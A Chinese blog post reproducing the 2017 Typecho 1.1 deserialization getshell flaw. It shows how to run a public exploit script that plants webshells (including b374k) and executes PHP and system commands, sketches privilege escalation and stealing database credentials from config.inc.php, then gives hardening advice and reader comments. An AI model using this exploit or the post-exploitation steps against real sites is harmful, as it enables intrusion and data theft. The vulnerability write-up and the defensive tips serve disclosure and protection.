几天前(28日好像是)Typecho被爆出getshell漏洞,想想还是很可怕的。
漏洞复现
服务器环境
nginx/1.9.5
PHP 7.0.22
mysql Ver 14.14 Distrib 5.5.48
Typecho 1.1 (17.4.24)(好像是1013还是10月28日之前的都有这个问题)
有没有人想问为什么是Nginx 1.9.5这么老的版本吗……唔
利用条件:PHP对webroot拥有写入权限,www的600就够了。如果Typecho对目录没有写权限,那么……没得玩了。
小知识:很多人对Linux中文件目录权限(rwx)的理解可能是有一些偏差的,以下说明不包含root这个天神,root可以无视这三个基础权限的:
对于文件来说,r代表着能够对文件进行读取;w代表着能够对文件内容进行更改(比如说删除一行,增加一行等等),但是w权限并不意味着能够删除文件;x意味着文件可以作为可执行程序,系统不会告诉你一个permission denied
对于目录来说,r意味着能够对目录下的内容进行list,比如说ls test这就意味着你对test要至少有r才能执行ls;w意味着能够对目录下的文件进行删除、创建、重命名;x意味着能够进入该目录成为工作目录,也就是能够cd test
可能有很多人以为,对文件有w权限就能删掉它了吧?不是的哦,是要对文件所在的目录有w权限才可以的。下面的图是一个简单的验证:
利用步骤
GitHub开源地址git clone https://github.com/BennyThink/Typecho_deserialization_exploit cd Typecho_deserialization_exploit python exp.ty
之后根据提示操作,示例输出:
root@qcloud:~/Typecho_deserialization_exploit# python exp.py
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>1
Input your target, i.e:http://localhost/ty
>https://example.com
Your target url is https://example.com
shell: https://example.com/p0.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>2
1 . https://example.com/p0.php Enter your target number:
>1
Enter your PHP code:
>echo 'pwned';
pwned
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>3
1 . https://example.com/p0.php Enter your target number:
>1
Enter your system commands:
>ls
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>4
1 . https://example.com/p0.php Enter your target number:
>1
visit https://example.com/b374k.php
1. Exploit
2. Run any PHP code. post methods.
3. Run system commands such as ls, pwd
4. Deploy b374k
Select your action, q to exit:
>
成功写入webshell,第三步执行系统命令没有回显是因为我禁用了system()
函数
由于运行PHP的用户是一个低权限的non-login shell用户www,所以嘛……没有SMB那么爽的感觉了。当然Windows就没有这个说法了,说不定人品好,还有人是拿管理员运行的PHP呢……这个时候就可以有mimikatz了。
更进一步的玩法
只是一点点猜想,仅供参考
内核提权漏洞
通过phpinfo
拿到系统信息,去exploit找对应的内核提权漏洞,想办法吧www提权成root
脱库与跑路
通过读取Typecho的配置文件config.inc.php
拿到数据库账号密码,塞满垃圾文件,脱库与跑路什么的;顺着搜搜有没有MySQL的什么安全漏洞可以利用、绕过。
报告给博主
对,这才是正经的嘛……当然了,那些连个联系方式也不留的、八百年不发一篇博文的、whois查不到邮箱的、评论也不管的死灰一样的博客,那活该了。我也很无奈啊。
预防措施和一些建议
升级Typecho到最新的版本或者删除文件
升级Typecho到最新版本,或者删除install.php
和install
目录。暂时不能更新的,关站保平安吧。
使用www、mysql等non-login shell用户运行Apache/Nginx、PHP、MySQL
千万不要拿root跑啊,这要是拿root跑了,那就和SMB漏洞是一样一样滴爽。
记得更新系统,不要使用已无支持的操作系统
EOL(End of Life)的就不要用了,没有安全更新,万一被人找到提权,那不就完蛋了吗。
举例说明,Windows XP,Windows 2003,Windows Vista,CentOS 5,Ubuntu 12.04等等……
对于发行版来说,可以用cron来计划更新,比如说我是这么干的:
0 3 */3 * * apt update && apt upgrade -y
每隔三天的凌晨三点都会更新一波
尽可能的使用Linux当服务器
嗯……如果你用Windows的话,在这种情况下webshell就可以大显神通了……
配置php.ini
配置open_basedir
,不让PHP程序访问本身目录以外的目录,比如说我是这么配置的:
open_basedir=/home/wwwroot/dmesg.app:/tmp/:/proc/
并且如果不需要的话,那么就禁用一些比较危险的函数,比如说system()
、exec()
别没事干就777
除非你懂得777是什么意思,知道你这次的777有何影响。
别说777了,任何更改文件目录(包括web目录)权限的操作都要三思而后行,尤其是某些特别敏感的文件,比如说如果某人的/etc/shadow
的权限是644(原本应该是640),那么任何人都可以读取了……
小提示:Linux下默认文件目录权限是怎么回事
开启App Armor、SELinux等
不好意思,这个我不太会玩……不过……很多人拿到一台CentOS都是……第一步……关闭SELinux的吧……
更多参考资料
总结
此次漏洞的影响还是比较大的,至少吧……攻击者能够拿到webshell,再怎么也能拿到整个数据库的权限了。
哦对,trick or treat?
賢狼ホロ:?羡慕高产(
code里不显示可能是因为被过滤了,还是用pastebin吧。
chmod +x
之类的,然后......-- 偏执布偶君
签到成功!签到时间:2017-11-10 18:45:43,每日打卡,生活更精彩哦~
chmod
用symbolic mode)这应该没什么问题吧。。。。。。(因为看文章和评论都用的数字权限编号)
签到成功!签到时间:2017-11-10 19:18:16,每日打卡,生活更精彩哦~
php_admin_value open_basedir "/storage/data/wwwroot/blog/public_html/:/dev/shm/web/blog/" php_admin_value upload_tmp_dir "/dev/shm/web/blog/" php_admin_value session.save_path "/dev/shm/web/blog/"
我的是这样的。。。tmpfs
干嘛?open_basedir
限制用户访问目录,然后禁用system
、chroot
等危险函数,去掉webroot对PHP的写入权限(一些特殊目录比如说上传目录排除)chattr +i